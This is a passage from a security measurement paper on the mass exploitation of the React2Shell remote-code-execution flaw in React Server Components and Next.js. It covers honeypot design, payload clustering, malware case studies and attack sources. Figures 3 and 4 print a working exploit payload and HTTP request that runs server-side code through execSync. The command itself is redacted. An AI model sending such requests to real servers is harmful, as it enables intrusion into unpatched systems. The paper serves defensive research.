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Abstract

Full-stack web development frameworks have become increasingly
popular in recent years. One such framework, Next.js, is extensively
used by one in five web developers. In December 2025, a critical
vulnerability with the highest severity score of 10 was discovered,
affecting Next.js through supply-chain propagation. It allows at-
tackers to remotely execute code on vulnerable servers without user
authentication and with a single malicious HT TP request. Addi-
tionally, public proof-of-concept exploits contributed to widespread
exploitation.

In this paper, we investigate 13 million exploitation attempts tar-
geting Next.js and characterize the malware deployed by attackers
following successful exploitation. Leveraging our custom Next.js
honeypots and reactive telescope, we identify 93 unique clusters
of payloads performing a wide range of exploitation activity such
as botnet installation, cryptomining, and infostealers. Our analy-
sis also shows that, initially, exploitation attempts relied on the
released proof-of-concept code, but they later evolved into more
sophisticated and effective code variants that successfully evade de-
fense mechanisms such as Web Application Firewalls. We identify
that some threat actors measure the vulnerability of targets before
deploying any malicious payloads and demonstrate the presence of
informed application-layer scanners with prior knowledge of a set
of vulnerable hosts, which they exclusively target. Moreover, we
observe markers consistent with LLM-style code artifacts, pointing
towards the emergence of Al-assisted attacks. In the process, we
characterize the demographics of the infrastructure used to attack
Next.js and discuss the shortcomings of defense capabilities.
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1 Introduction

In December 2025, a catastrophic vulnerability in Next.js, a very
popular open-source full-stack web development framework used
by approximately 20% of web developers [44], was disclosed. The so-
called Next.js React2Shell vulnerability, with the highest Common
Vulnerability Scoring System (CVSS) score of 10.0, could allow
attackers to execute arbitrary code on vulnerable servers through
a single malicious HTTP request [53].

Unlike standalone system packages, updating Next.js to a patched
version can only be done by application developers, not directly by
system administrators. Next.js is a framework; the developers of the
concrete end-user applications built on top of that framework need
to update their applications and publish their own patch, which can
only then be installed by system administrators. This adds an extra
layer to the patching process, thereby increasing patch latency.

Although vulnerabilities have been discovered in Next.js in
the past, e.g., an authentication bypass vulnerability in March
2025 [52], two factors contributed to the rapid weaponization of
the React2Shell vulnerability. First, the Next.js React2Shell vulnera-
bility was highly exploitable because default Next.js configurations
are vulnerable, requiring no special setup or developer error. Ex-
ploitation can occur without user authentication, as this is a pre-
authentication vulnerability. Second, with the release of the Next.js
React2Shell vulnerability, public proof-of-concept exploits were
made readily available with near-absolute reliability. This lowers
the bar for any attacker to exploit vulnerable Next.js servers.

In this paper, we analyze the exploitation of the Next.js Re-
act2Shell vulnerability and track the attackers’ response to one
of the most recent critical vulnerabilities. This study is a natural
experiment to better understand the responsiveness, capabilities,
and innovation capacity of cyberattackers to exploit catastrophic
vulnerabilities in popular online systems.

For our study, we leveraged both passive and active network
telescopes as well as custom-developed honeypots mimicking a
vulnerable Next.js instance. During the period from shortly after the
disclosure of the vulnerability in December 2025 through April 2026,
we recorded more than 13 million Next.js exploitation attempts in
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our network monitoring system. This allows us to see changes in
the techniques, tactics, and procedures of attackers that leverage
Next.js as an attack vector.

Our contributions can be summarized as follows:

o We cluster the Next.js React2Shell exploitation attempts based on
the attack payloads. Our analysis shows that 95% of payloads and
distinct source IPs can be grouped into 93 clusters. We identify
for each cluster the goal of exploitation, and how this changes
over time.

o We show that exploitation attempts initially rely on the released
proof-of-concept code, but later evolve into more sophisticated
and effective code variants that successfully evade defense mech-
anisms such as Web Application Firewalls, with characteristics
pointing towards the emerging use of Al to assist in malicious
activities.

e By comparing data from multiple data sources, we are able to
identify two-stage exploitation campaigns that first check for the
presence of a vulnerability via benign requests before sending
malicious payloads.

e We make the source code of our Next.js React2Shell honeypot
publicly available!. We will share the collected exploitation traffic
and malware clustering results with other researchers on request
to seed future work.

2 A Primer on Next.js

Next.js [59] is an open-source web development framework built
on top of the JavaScript library React [31]. First released in 2016, it
makes it easier for developers to create and deploy web applications
by integrating client-side and server-side components. While React
is used primarily for the development of client-side user interfaces,
Next.js also provides server-side capabilities such as routing, back-
end logic, server-side rendering, static site generation, and more.
This enables developers to build full-stack web applications using
a single framework.

The Next.js framework addresses several limitations commonly
found in single-page applications (SPAs). Traditionally, SPAs render
content entirely on the client side, which negatively affects search
engine optimization and initial page load performance. In contrast,
Next.js provides server-side rendering and static site generation,
which allows fully rendered HTML content to be served to the
browser. As a full-stack framework, Next.js is also used for server-
side application logic such as database access, authentication, and
data processing.

Due to these capabilities and its ease of use, Next.js has become
widely adopted by developers. According to the 2025 Stack Over-
flow Developer Survey, one in five developers has extensively used
Next.js over the past year, making it the fourth most popular web
framework/technology [44]. The survey found that this is the case
for both professional developers (21.5%) and learners (21.3%).

3 The Incident

React2Shell refers to a critical unauthenticated remote code exe-
cution (RCE) vulnerability in the React Server Components (RSC)
ecosystem, caused by unsafe deserialization in the RSC “Flight”
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protocol [53, 62]. The primary vulnerability was disclosed as CVE-
2025-55182 [53] in React, while a separate advisory, CVE-2025-
66478 [58], tracked the downstream impact on Next.js applications
using the App Router. Although both issues were initially treated as
distinct advisories, later reporting and vendor guidance converged
on the view that the Next.js issue was a duplicate manifestation
of the same underlying flaw in React’s server-side implementa-
tion [32, 53, 58, 62]. This rapid escalation is summarized in Figure 1,
which illustrates the short interval between disclosure, patch re-
lease, public proof-of-concept availability, and observed exploita-
tion activity.

The issue was originally disclosed by Lachlan Davidson to Meta
on November 29th, 2025. According to the React security advisory,
the vulnerability was confirmed on November 30th, a fix was de-
veloped on December 1st, and patches were released on December
3rd [53]. React noted that exploitation did not require an applica-
tion to explicitly define Server Function endpoints, as applications
supporting React Server Components could still be affected. The
vulnerable packages included “react-server-dom-webpack”, “react-
server-dom-parcel”, and “react-server-dom-turbopack” in versions
19.0.0, 19.1.0, 19.1.1, and 19.2.0, with fixes released in 19.0.1, 19.1.2,
and 19.2.1 [53]. Next.js published corresponding patched releases
across affected 15.x and 16.x release lines [58]. Importantly, re-
mediation required application-level dependency updates rather
than system-level patching. Unlike vulnerabilities in operating sys-
tem packages, affected applications needed to explicitly upgrade
React and associated build dependencies, which may involve re-
solving compatibility constraints within the JavaScript dependency
ecosystem. This increases remediation complexity and can delay
patch adoption, particularly for applications with tightly coupled
frontend-backend build pipelines. Independent analyses further
emphasize that the vulnerability affects default deployments of
applications, increasing the likelihood of widespread exposure [62].
This includes all Next.js applications using the App Router, which
has been the default since the deprecation of the legacy Pages Router.

Operationally, the incident escalated quickly. Threat intelligence
reporting indicates that exploitation began within hours of pub-
lic disclosure, including activity attributed to China-linked threat
actors and financially motivated operators [4, 13, 22]. The Google
Threat Intelligence Group (GTIG) reported widespread exploita-
tion from multiple threat clusters, while other reports observed
cryptomining payloads and opportunistic scanning within days of
disclosure [13, 22]. Microsoft similarly characterized the vulnera-
bility as a critical pre-authentication RCE affecting React Server
Components and related frameworks, noting active exploitation
across multiple environments [32].

Estimates of exposure varied by source and methodology. Broad
internet scanning suggests a large potential attack surface: Censys
identified approximately 2.15 million internet-facing services that
appear to be running frameworks using React Server Components,
although this does not imply that all instances are vulnerable [10].
Other reporting identified more than 77,000 publicly exposed IP
addresses that remained vulnerable in the first week after disclo-
sure [2].

To complement these point-in-time estimates, Figure 2 shows
longitudinal observations of vulnerable systems based on Shad-
owserver scanning data, indicating that there were at least 165,712
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Figure 1: React2Shell timeline: disclosure, patch release, and rapid exploitation.

Source IP Space Period No. Packets  No. TCP Flows
Passive Telescope ~ 65,000 November 1st, 2025 — December 17th, 2025  24,837,343,259 —
Reactive Telescope 2,429 December 1st, 2025 — April 1st, 2026 110,407,297 13,031,893
Next.js Honeypots 259 December 11th, 2025 - April 1st, 2026 — 677,703

Table 1: Summary of datasets used during the study.
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Figure 2: Global decline of vulnerable React installations as
scanned by the Shadowserver Foundation [55].

vulnerable installations at the start of the incident. The data indi-
cates a sharp increase in observed exposure immediately following
disclosure, followed by a gradual decline consistent with patching
and mitigation efforts. However, a substantial baseline of vulner-
able systems persists weeks after initial disclosure, suggesting in-
complete remediation. Early patching also appears to have lagged
behind exploitation, as industry reports indicated that roughly half
of the exposed instances remained unpatched during the initial
exploitation wave [8, 28].

The React2Shell incident is therefore notable not only because
of its severity, but also because it illustrates how a vulnerability in
a shared upstream component can propagate across downstream
frameworks, complicating CVE attribution, patch communication,
and exposure measurement.

4 Datasets

In this work, we make use of several data sources: a Passive Network
Telescope (Section 4.1), a Reactive Network Telescope (Section 4.2),
and a high-interactive Next.js honeypot (Section 4.3). The data is
then augmented with further information on the source IP (Sec-
tion 4.4).

We use the data from the passive telescope to identify changes
in scanning behavior, the reactive telescope to identify interaction
with Node.js on a broad scale, and the honeypot to gain insights into
the TTPs of adversaries exploiting the Next.js vulnerability. The IP
information is used to further characterize the source of the attacks,
for example by identifying the hosting provider or AS number
associated with the source IP. We summarize the measurements we
took during this study in Table 1.

4.1 Passive Telescope

When adversaries prepare to exploit a vulnerability, they often per-
form reconnaissance activities such as port scanning to identify
potential targets. To measure this behavior (Section 6.5), we made
use of a large-scale Passive Network Telescope [34] deployed on an
enterprise network in Europe. It consists of approximately 65,000
monitored IPv4 addresses across three non-contiguous /16 ranges.
These addresses are not used for any legitimate services, so any traf-
fic sent to them is likely to be malicious or at least anomalous. The
passive telescope collects data on all packets sent to the monitored
addresses without replying. We make use of this data to identify
changes in port scanning behavior by measuring the number of the
recorded TCP SYN packets to a particular port number. We use the
passive telescope for port scanning behavior analysis in Section 6.5.

4.2 Reactive Telescope

While the passive telescope does not reply to any incoming traffic,
we also make use of a Reactive Network Telescope [18] that estab-
lishes and keeps a TCP session with remote hosts. This provides
insights into application-layer data, such as HTTP requests made
after the initial scan, including potential exploitation payloads. Our
Reactive Network Telescope is located within a European enter-
prise network and consists of one /21 IPv4 range. In this dataset,
we can identify the probing behavior from adversaries. This can
include packets that aim to establish which program is running on
the target system but also packets that contain actual exploitation
payloads by attackers that do not first check whether the correct
version of Node.js is running.
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4.3 High-interactive Next.js Honeypot

The reactive telescope allows us to identify initial probing against
Node.js on a broad scale, but it does not provide deeper insights
into exploitation attempts. To observe the specific payloads and
methods used by attackers in real-world exploitation attempts, we
designed and deployed high-interactive honeypots specifically for
the Next.js vulnerability (CVE-2025-66478). By analyzing the inter-
actions with this honeypot, we can better understand the tactics,
techniques, and procedures (TTPs) of adversaries exploiting the
Next.js vulnerability, as attackers interact with the honeypot as if
it were a real vulnerable instance. The honeypots are identified as
vulnerable Next.js instances by vulnerability scanners and appear
on Shodan [42], Censys [11], and other similar platforms.

We ran the honeypot on two web servers hosting actual websites
with associated domain names and SSL certificates by redirecting
malicious traffic to a honeypot instance rather than the actual web
server. These servers are in two different European networks and
are not co-located with our telescopes. This setup allows us to
capture different types of attackers who may direct their attacks to
real websites instead of blindly scanning the IPv4 space. Moreover,
we also set up a /24 IPv4 range to redirect all HTTP requests to
a honeypot. On these addresses, we hosted the HTML page of a
default Next.js app. This allows us to capture attackers who perform
wider scans to identify vulnerable services. This range is also co-
located with our reactive telescope, allowing us to compare traffic
between the two. Due to operational constraints, we set up the /24
honeypot range in March 2026.

The honeypot is architecturally split into two layers: an ingress
layer, which is a Rust-based web server ingesting traffic, and an
execution layer, which is responsible for safely “detonating” the
received Remote Code Execution (RCE) payloads, i.e., executing
them in a sandboxed environment. The ingress layer utilizes a
detection engine that inspects incoming HTTP traffic for payloads
that contain the “Next-Action” HTTP header. Upon identifying a
match, the system performs targeted payload extraction to isolate
the commands intended for the Node.js “child_process.execSync”
module. These commands are then forwarded over a dedicated TCP
socket to the decoupled execution service.

The backend execution environment then leverages NSJail [21]
in fork mode to provide a high-fidelity sandboxed response to the
attacker. For each incoming TCP request, the executor initializes a
transient, unprivileged namespace where the command is processed
under strict resource constraints (CPU usage limited to 0.1 CPU
units, execution time limited to 10 seconds, memory usage capped
at 128MB, and a read-only filesystem with ramdisk-backed writable
“tmpfs”) as well as a total network sandbox (no Internet egress). The
resulting standard output and standard error streams (“stdout” and
“stderr”) are captured and routed back through the TCP tunnel to
the ingress layer. Finally, the ingress layer packages this raw output
into the HTTP message format that would normally be returned
when executing an exploit against a vulnerable Next.js instance
and returns it.

4.4 Other Data Sources

To further characterize the source of the attacks, the data is aug-
mented with source IP information from IPinfo [27]. This includes
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"then": "$1:__proto__:then",
"status": "resolved_model",
"value": "{\"then\": \"$B1\"}",
"_response": {
"_formData": {
"get": "$1:constructor:constructor"
b
"_prefix": "console.log(1);//"
}
3

Figure 3: A Flight payload triggering arbitrary server-side
code execution in React Server Components. The value of
_prefix can be arbitrary JavaScript code. [16]

geolocation data as well as Autonomous System (AS) number, net-
work type (e.g. hosting provider, enterprise network, ISP, etc.). We
use this information to identify trends, such as whether attacks
are predominantly coming from certain hosting providers or AS
numbers, which can provide insights into the infrastructure used
by adversaries exploiting the Next.js vulnerability.

5 Identifying Next.js Attacks

In this section, we describe how we identify Next.js React2Shell
vulnerability exploits and later characterize and cluster them.

5.1 Identifying Next.js Exploitation Attempts

The code responsible for the React2Shell vulnerability lies in Re-
act Server Components (RSC) and has been assigned CVE-2025-
55182 [53]. The same vulnerability is present in Next.js and it is
tracked under a different CVE ID, CVE-2025-66478 [54]. It can be
triggered by a remote unauthenticated attacker and enables arbi-
trary code execution on the server, which is why it was assigned
the maximum CVSS rating of 10.0 [54, 58].

React2Shell is caused by unsafe deserialization of messages pro-
vided by the client. More specifically, the decoder of the Flight
Protocol, a custom JSON-like serialization format used by RSC, is
vulnerable to prototype pollution, allowing arbitrary JavaScript
code to be interpreted and executed server-side while processing a
maliciously crafted Flight payload, as seen in Figure 3. [16]

The vulnerable code is used by the Next.js App Router, the compo-
nent responsible for server-side page rendering. In a typical Next.js
configuration, if a request contains the Next-Action header, its
body is passed to the vulnerable Flight deserialization function. An
example of a complete HTTP request exploiting the vulnerability
is shown in Figure 4. [7, 16, 40]

Our methodology identifies vulnerability scanning and/or ex-
ploitation attempts by the presence of the Next-Action header
(case-insensitive and regardless of its value). Flight payloads are
then extracted from the (multipart) HTTP bodies of these requests
for further analysis.
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Category No. flows (%) No. src. IPs (%) No. src. ASes (%) No. countries (%) First seen Last seen Clusters
Vulnerability scanning 6,598,927 (49.79%) 4,282 (55.86%) 626 (58.18%) 3 (83.78%)  2025-12-04  2026-03-31 27
Botnet / Backdoor 5,218,456 (39.37%) 464 (6.05%) 156 (14.50%) 48 (43.24%)  2025-12-05  2026-03-31 21
Cryptominer 1,068,705 (8.06%) 2,455 (32.02%) 431 (40.06%) 5(67.57%) 2025-12-06  2026-03-31 39
Unclassified 294,545 (2.22%) 887 (11.57%) 236 (21.93%) 4 (57.66%) 2025-12-04  2026-03-31 -
Credential theft 72,933 (0.55%) 205 (2.67%) 20 (1.86%) 20 (18.02%) 2025-12-11  2026-03-30 6
Total 13,253,566 (100%) 7,666 (100%) 1,076 (100%) 111 (100%)  2025-12-04  2026-03-31 93

Table 2: Summary of cluster categories. Some IPs, ASes, and countries are seen in multiple categories.

POST / HTTP/1.1

Host: [redacted]:3002

User-Agent: Go-http-client/1.1

Content-Length: 689

Content-Type: multipart/form-data;

— boundary=--WebKitFormBoundaryx8j02oVc6SWP3Sad
Next-Action: 1

Accept-Encoding: gzip

Connection: close

—----WebKitFormBoundaryx83j020oVc6SWP3Sad
Content-Disposition: form-data; name="0"
{"then":"$1:__proto__:then","status":"resolved_model"
— ”reason”~—1 "value":"{\"then\":\"$B1337\"}"," _response":

— "_prefix":"var res=process.mainModule.require(

— 'child_process').execSync('[...]").toString().trim();;throw
< Object.assign [...]

----WebKitFormBoundaryx83j020Vc6SWP3Sad
Content-Disposition: form-data; name="1"

"$@o"
—----WebKitFormBoundaryx83j020oVc6SWP3Sad
Content-Disposition: form-data; name="2"

[
—----WebKitFormBoundaryx83j02oVc6SWP3Sad--

Figure 4: An example of an HTTP request exploiting CVE-
2025-66478.

5.2 Attack Clustering

After identifying HTTP requests targeting the Next.js vulnerability
and extracting the React Server Components (RSC) Flight payload,
we extract signatures to sort them into clusters. We consider pay-
loads with common identifying characteristics, i.e., Indicators of
Compromise (IoCs), as part of the same cluster. To ensure that re-
lated payloads are associated with the same cluster over an extended
period of time, preference is given to more stable and long-lived
IoCs in the following order:

(1) distinctive shell commands or code;

(2) distinctive filenames or paths (e.g., if the payload attempts to
download a file with a specific name from a remote server or
store a binary at a specific location on the victim machine);

(3) distinctive URLs (if a filename is too generic to uniquely identify
a campaign);

(4) distinctive domain names, IP addresses, or port numbers.

In our dataset, we identified many payloads that include Base64-
encoded data which is then decoded and executed. Due to this,
when searching for IoCs, we look not only at the plaintext payloads
but also consider any identifiable substrings matching the format

of data encoded with Base64. We then decode this data and check
it for the presence of IoCs.

It is important to note that only the content of the payloads is
considered when clustering requests. The source IP addresses of
hosts that send payloads are not considered as IoCs due to the fact
that scanning and exploitation infrastructure can use a vast number
of source IPs, e.g., if a threat actor makes use of a botnet [60].

Each of the identified clusters is then analyzed to identify a cat-
egory — vulnerability scanning (which is not harmful by itself),
and malicious exploitation. Malicious exploitation is then further
categorized by the type of attack and its goal. In our case, these cat-
egories are cryptocurrency mining, botnet / backdoor installation,
and credential theft.

Successfully clustering all observed payloads is not feasible, as
there are many IoCs that are not common at all and only appear
a few times during the entire data collection period, potentially
corresponding to hundreds or even thousands of clusters. Thus,
our main analysis focuses on those that appear more often — we
cluster at least 95% of the observed payloads in each of our data
sources (telescope and honeypot) and review the unclustered pay-
loads manually for particularly distinctive / unique characteristics
such as firewall evasion.

6 Attacks and Goals

In this section, we shed light on the classification of Next.js Re-
act2Shell vulnerability exploits and the attackers’ goals. We refer to
clusters via their unique identifier in the form “YYYY-MM-DD/X”,
where “YYYY-MM-DD” is the date a cluster is first observed and
“X” is a letter identifying the cluster within that day. The full list of
all clusters and information about them is provided in Table 4 in
the appendix.

6.1 Categories of Clusters

Through our methodology, we derived 93 signatures to identify var-
ious clusters. A summary of the categories of clusters we observed
can be seen in Table 2.

Overall, around half of all observed activity is in the Vulnera-
bility scanning category. This applies to both the raw number of
TCP flows (i.e., requests) and the number of distinct source IPs.
Throughout almost the entire period of our study, vulnerability
scanning remained the most popular category, as seen in Figure 5.
Despite this, the exact payloads used for vulnerability scans varied
over time.

The Botnet/Backdoor category is the second most popular one
by the number of flows, with around 40% of flows. However, the
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Figure 6: RondoDox payloads per day.

number of attacker source IPs is relatively low, at around 6%. This is
likely due to botnets with split architecture (scanner/loader model),
where bots scan for vulnerable devices and report their IPs to the
C2 server, which then forwards them to centralized loader infras-
tructure [18, 60].

In the Cryptominer category we see a lower number of flows,
around 8%, but a much higher number of source IPs. This is largely
due to two clusters corresponding to an XMRig (Monero) cryp-
tominer variant; 95% of the observed IPs in this category belong to
these two clusters.

Finally, the Credential theft category has a comparatively small
number of flows and source IPs. However, it is interesting to note
that the clusters in this category were observed only in our honey-
pot, where they account for 11.5% of the observed flows and 5.0% of
IPs. These payloads were not seen at all in our telescope during our
study despite its much larger size; we discuss this in more detail in
Section 6.4.

6.2 Payload Evolution

As we observed the exploitation attempts since the start of the
infections, we obtained a unique view of how attackers tested and
structured their campaigns. In this section, we highlight several
behaviors we saw in our dataset.

RondoDox botnet. Very soon after the CVE was made public,
the “RondoDox” botnet [19, 20] adopted this exploit as a vector
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Figure 7: Timeline of variations of the malware with a “.png”
file extension.

for spreading their malware. We first observed this campaign on
December 5th, around a day after the vulnerability was first an-
nounced publicly. Initially, 60% of all payloads observed could be
attributed to this botnet.

Interestingly, despite this prevalence, all of its payloads were
initially sent from just one source IP address and the loader was
downloaded from a single server. This remained the case until
January 18th, when a seemingly random string (token) started being
appended to the loader URL, as shown in Figure 6. We find that
this string is constant for every destination IP in our measurement
setup, indicating that this token is added as a unique identifier
for every destination. We hypothesize that this may be used by
the threat actor to track the number of unique successful malware
downloads. This (modified) payload was served by two more source
IPs, in addition to the original one, all located within AS210558
“1337 Services GmbH”, a bulletproof hoster. The modified payload
was also observed linking to multiple loader servers.

PNG cluster. We also observe behavioral clusters that show
changes over time, starting small and showing signs of testing
various methods and payloads. One example is shown in Figure 7,
where several payloads are sent from a small number of IP addresses,
and over time more payloads and sources are added before settling
on a steady set of IP addresses and payloads. We see this pattern
repeating for several of our clusters.

Overall view. While we see evidence of actors testing new pay-
loads and changing their infrastructure, the bulk of the clusters stay
either similar, or are clearly botnets (due to high volume of chang-
ing IP addresses). We find that there is thus a small core of attackers
that actively try over time to increase their infection spread, but
overall adversaries “fire-and-forget”, infecting as many devices as
possible shortly after the publication of the CVE and not changing
their infection characteristics after this.

6.3 Malware Case Studies

We reverse engineered the samples captured by our infrastruc-
ture to identify their inner workings. Next to the “usual” malware
loaded onto edge devices, such as variants of Mirai [3, 6, 24], we
identify several more elaborate types of malware or methods of
loading malware, out of which we detail the most interesting cases
in this subsection. We distinguish between cryptominers and DDoS
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Reactive telescope Honeypots (co-located) Only telescope Only honeypots
IPs 43 2,034 8 1,999
ASes 28 310 2 284
Countries 14 71 0 57

Vulnerability scanning (58.0%)
Botnet / Backdoor (33.3%)
Cryptominer (6.5%)
Unclassified (2.2%)

Cryptominer (16.8%)
Unclassified (3.0%)
Credential theft (1.1%)

Categories

Botnet / Backdoor (41.7%)
Vulnerability scanning (37.4%)

Vulnerability scanning (45.2%)
Botnet / Backdoor (28.6%)
Cryptominer (20.6%)
Unclassified (4.0%)
Credential theft (1.6%)

Vulnerability scanning (100.0%)

Table 3: Differences in traffic in our reactive telescope and co-located Next.js honeypots (March 15th-31st, 2026).

botnets, as these are the majority of the infections targeting the
vulnerability.

Cryptominers. The majority of cryptominer malware samples
we analyzed are based on XMRig [63] and mine the Monero cryp-
tocurrency. We also identified a previously unknown type of miner
targeting a different cryptocurrency.

BITOK CPU Miner (“*.png”). A BITOK-oriented cryptocurrency
CPU miner that executes from memory rather than as a typi-
cal on-disk payload. The sample combines dedicated delivery in-
frastructure (private BitokPool node as C2, dropper server with
per-architecture endpoints), architecture-aware deployment, profit-
switching across 40+ algorithms, and four-layer persistence span-
ning systemd services, crontab entries, and .bashrc modifications.
During execution, it launches 120 mining threads across two inde-
pendent instances, indicating an effort to maximize CPU utilization
while maintaining operational redundancy.

XMRig Dropper (“cccc. exe”). While most malware we observed
targets Linux, this sample attacks Windows servers instead. What
further sets it apart from other cryptominers is its use of a Bring
Your Own Vulnerable Driver (BYOVD) approach [33]. It installs a
legitimate kernel driver (WR64.sys), which has a valid signature
by Microsoft and runs in ring 0. It then exploits a vulnerability in
it to obtain kernelspace code execution and tune CPU behavior in
order to improve mining performance. Before initiating mining,
the sample collects information about the compromised system
through trusted Windows components while avoiding visible net-
work activity during that stage. Persistence is established through
an elevated scheduled task triggered at logon. The behavior of
this sample (BYOVD approach, CPU tuning, naming convention,
network behavior) lines up closely with what has been publicly
documented for the SteelFox malware [29, 39].

DDoS botnets. Next to variants of Mirai, we identify various
other DDoS botnets. Below we identify some samples with inter-
esting or uncommon characteristics.

Tox-based DDoS Bot (“test1”). A Linux bot that uses the Tox
peer-to-peer network [56] for command and control. In addition
to allowing the operator to stage DDoS attacks, the sample also
supports deployment of an auxiliary payload, indicating a wider
operational scope rather than a single-purpose DDoS bot.

IRC Bot (“notrooter.pl”). A Perl-based backdoor that provides
full remote control through an IRC channel. The sample is char-
acterized by a less common obfuscation method (masquerading
the process as node running from /dev/shm/), remote execution
of shell commands, and support for scanning using an external
module. It also attempts to evade detection by presenting itself as a

benign process within a temporary memory-backed location. The
behavior of this bot lines up closely with the SSHStalker botnet
attributed to the Outlaw / Dota group [41].

RondoDox (“rondo.x86_64"). A DDoS-capable IoT botnet with
remote shell support allowing the operator full remote control of
the infected device. In addition to standard botnet behavior, it per-
forms local-network reconnaissance, including discovery activity
across SSDP, Spotify Connect, and ARP, with the aim of identifying
nearby devices, exposed services, and the surrounding network
environment. The sample also includes aggressive anti-analysis
logic that detects and disrupts tracing attempts, where it spawns
two processes that monitor each other. When one of the processes
is altered in any way, the other process kills it, making dynamic
analysis challenging.

6.4 Two-Phase Exploitation

To identify whether threat actors check whether a device is vul-
nerable before sending a malicious payload, we compare the data
between the telescope and the Next.js honeypot. There are numer-
ous clusters which are seen only in the honeypot and not in the
telescope, despite the honeypot’s much smaller size (as seen in
Table 1 earlier).

The level of interactivity affects observability of malicious
activity. The clusters in the Credential theft category accounted for
11.5% of all requests observed in the honeypot (72,933 occurrences
in total, from 205 unique IP addresses), but were not seen even a
single time in the entirety of the telescope, pointing to a higher
level of sophistication and interactivity in attack behavior than is
seen in the other categories. Nonetheless, there are some clusters
in the other categories which also require interactivity for measure-
ment: 2026-03-21/A (botnet, 7.9% of honeypot traffic), 2026-03-11/B
(botnet, 5.0%), 2026-03-26/A (cryptominer, 3.1%), and 2026-03-11/A
(cryptominer, 1.6%), among several smaller ones, are not observed
in the telescope.

Informed scanners on the application layer. Previous re-
search has shown that there exist two-phase (“informed”) scanners
on the transport layer — reactive telescopes (which complete a TCP
handshake) observe connections originating from different source
IPs than passive ones (which only passively listen), indicating that
some scanners use different infrastructure for port scanning and
for further activities [18]. To check if this also applies on the ap-
plication layer, i.e., whether a honeypot would observe different
source IPs than a reactive telescope, we compare the sets of source
IPs between our data sources and their payload categories.
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Table 3 summarizes the traffic received by the reactive telescope
and the honeypots hosted in the co-located /24 range in the period
March 15th — March 31st, 2026, when both were fully operational.
The sets of source IPs differ greatly: the honeypots observe connec-
tions from over 2,000 unique IP addresses, while for the telescope
this number is 47 times smaller, even though the IP range allocated
to the telescope (/21) is eight times larger than that of the honeypots
(/24). The observed categories of payloads are also interesting: all
payloads from IPs which are seen only in the telescope (and not
in the honeypots) perform vulnerability scanning, the IPs that are
seen only in the honeypots perform a wide range of activities, with
over half of them malicious.

This huge disparity suggests that the observed exploitation ac-
tivities are indeed “informed”; the threat actors must somehow be
aware of the presence of the (simulated) vulnerable Next.js instances
on the honeypot range. We hypothesize that they could either be
performing independent scanning activities from different source
IPs and then passing the IPs of the identified vulnerable services to
separate exploitation infrastructure, or they could be abusing data
from scanning services like Shodan [42] or Censys [11].

Vulnerability scans followed by exploitation. To see if threat
actors first perform a vulnerability scan themselves as part of an
exploitation pipeline, we also check whether the IP addresses that
malicious attacks originate from are also seen performing vulner-
ability scans. We found that over 95% of IP addresses performing
credential theft are also seen performing multiple types of vulnera-
bility scans. Moreover, for some of these IPs, the telescope captures
only the first phase (scanning), while the honeypots see both (scan-
ning followed by exploitation). This behavior was observed both in
the /24 range co-located with the telescope and in our two other
external deployments. These findings highlight two key insights: (1)
the threat actors behind these campaigns indeed check for the pres-
ence of the vulnerability before deploying malicious payloads, and
(2) they use the same infrastructure for these vulnerability scans
as for exploitation. More details on co-occurrence of scanning and
exploitation are shown in Figure 12 in the Appendix.

We hypothesize that the reason for checking the presence of
the vulnerability before launching malicious payloads could be
to hinder campaign tracking and attribution, as these campaigns
would not be detected by generic telescopes and would thus have a
lower likelihood of being preemptively blocked, especially in the
case of split scanning and exploitation infrastructure.

To avoid bias, in this subsection, we make use of the honeypots
hosted in the same network as the telescope itself (co-located),
which are hosted under the same conditions as the telescope (i.e.,
they do not host real websites and do not have domain records
or certificates). Thus, it is very unlikely for this difference to be
an artifact of the honeypot setup. These results show why relying
solely on a telescope is not enough to get a full view of the attack
landscape and highlight the need for interactive honeypots.

6.5 Attack Sources

To understand the source of the traffic, we first look at the geo-
graphical location of the IP addresses observed in our measurements
by enriching the dataset with information from IPinfo [27]. The

Martin Mladenov, Max van der Horst, Alexandru Hossu, Rok Stular, Harm Griffioen, and Georgios Smaragdakis

majority of malicious activity (i.e., categorized as Cryptominer, Bot-
net / Backdoor, or Credential theft) originates from one AS in the
Netherlands (42.9%). In total, 49.2% of all sources originate from
the Netherlands, 22.6% from the US, and 12.0% from Latvia. The
spread of sources is highly influenced by the presence of datacen-
ters in some countries, as 95.3% of all malicious traffic originates
from hosting providers. While these could be rented devices (which
is often assumed when identifying IPs in datacenters [6, 65]), we
hypothesize that in the case of a webserver vulnerability such as
this one, hosts in datacenters are actually more likely to be vulnera-
ble. We therefore looked into whether part of the sources involved
in spreading malware are instead infected devices. According to
Censys data on the services running on these hosts, we see that
8.8% of them host web servers, out of which 22.7% can be identi-
fied as Next.js instances, which we hypothesize could have been
compromised and used to spread malware further.

To identify whether IP addresses used for Next.js exploitation
shortly after the vulnerability were likely to be present in existing
blocklists, we investigate whether they had already been observed
scanning before. For this purpose, we make use of our passive
telescope, whose large IP space allows us to continuously capture
mass scanning activities on the Internet. We investigate whether
the IPs seen performing malicious Next.js exploitation were first
observed in our passive telescope before or after the release date
of the CVE. To account for two-stage scanners, we only consider
attacker IPs that are observed at least once in the passive telescope.
We find that 61.6% of the IPs exploiting Next.js in the two weeks
after the CVE was released (December 4th — 18th, 2025) were not
seen at all in the passive telescope pre-disclosure. One explanation is
that threat actors employed brand-new exploitation infrastructure
or received previously unknown IP addresses via other means (e.g.,
IP churn). Absence from the telescope could also be due to already
existing hosts being repurposed for scanning. Nonetheless, this
highlights the inherent weakness of IP-based blocklists, as historical
observations alone would not have identified these hosts as a threat.
Real-time behavioral detection may therefore be more resilient to
attacks originating from newly observed infrastructure than IP
reputation.

7 Anatomy of Exploits

In this section, we provide an analysis of the payloads used in the
Next.js React2Shell exploitation as collected in our vantage points.

7.1 Use of Public PoCs

To contextualize the observed structural clusters, we analyze reposi-
tory creation timestamps for the public React2Shell proof-of-concept
(PoC) exploits shown in Figure 8 and, in more detail, in Appendix D.
The overview figure captures the high-level organization of exploit
families, while the appendix figure provides a fine-grained break-
down of variants and their relationships. While repository creation
dates do not necessarily reflect the first appearance of a given ex-
ploit variant, they provide a useful proxy for public dissemination
and reuse.

The data reveal that the repositories were created in quick suc-
cession. The majority of repositories in the dataset (69 in total)
were created within a narrow window between December 4 and
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December 6, 2025, indicating rapid replication following initial dis-
closure or early PoC publication [35]. Within this interval, multiple
structurally distinct variants already appear, suggesting that the
ecosystem formed through near-simultaneous adaptation of a small
number of initial PoCs rather than gradual evolution.

After this initial burst, activity continued at a slower pace be-
tween December 7 and mid-December, during which additional
variants emerged, including scanner-oriented implementations and
modified payload constructions. These changes are incremental and
consistent with reuse and minor modification of existing code [23,
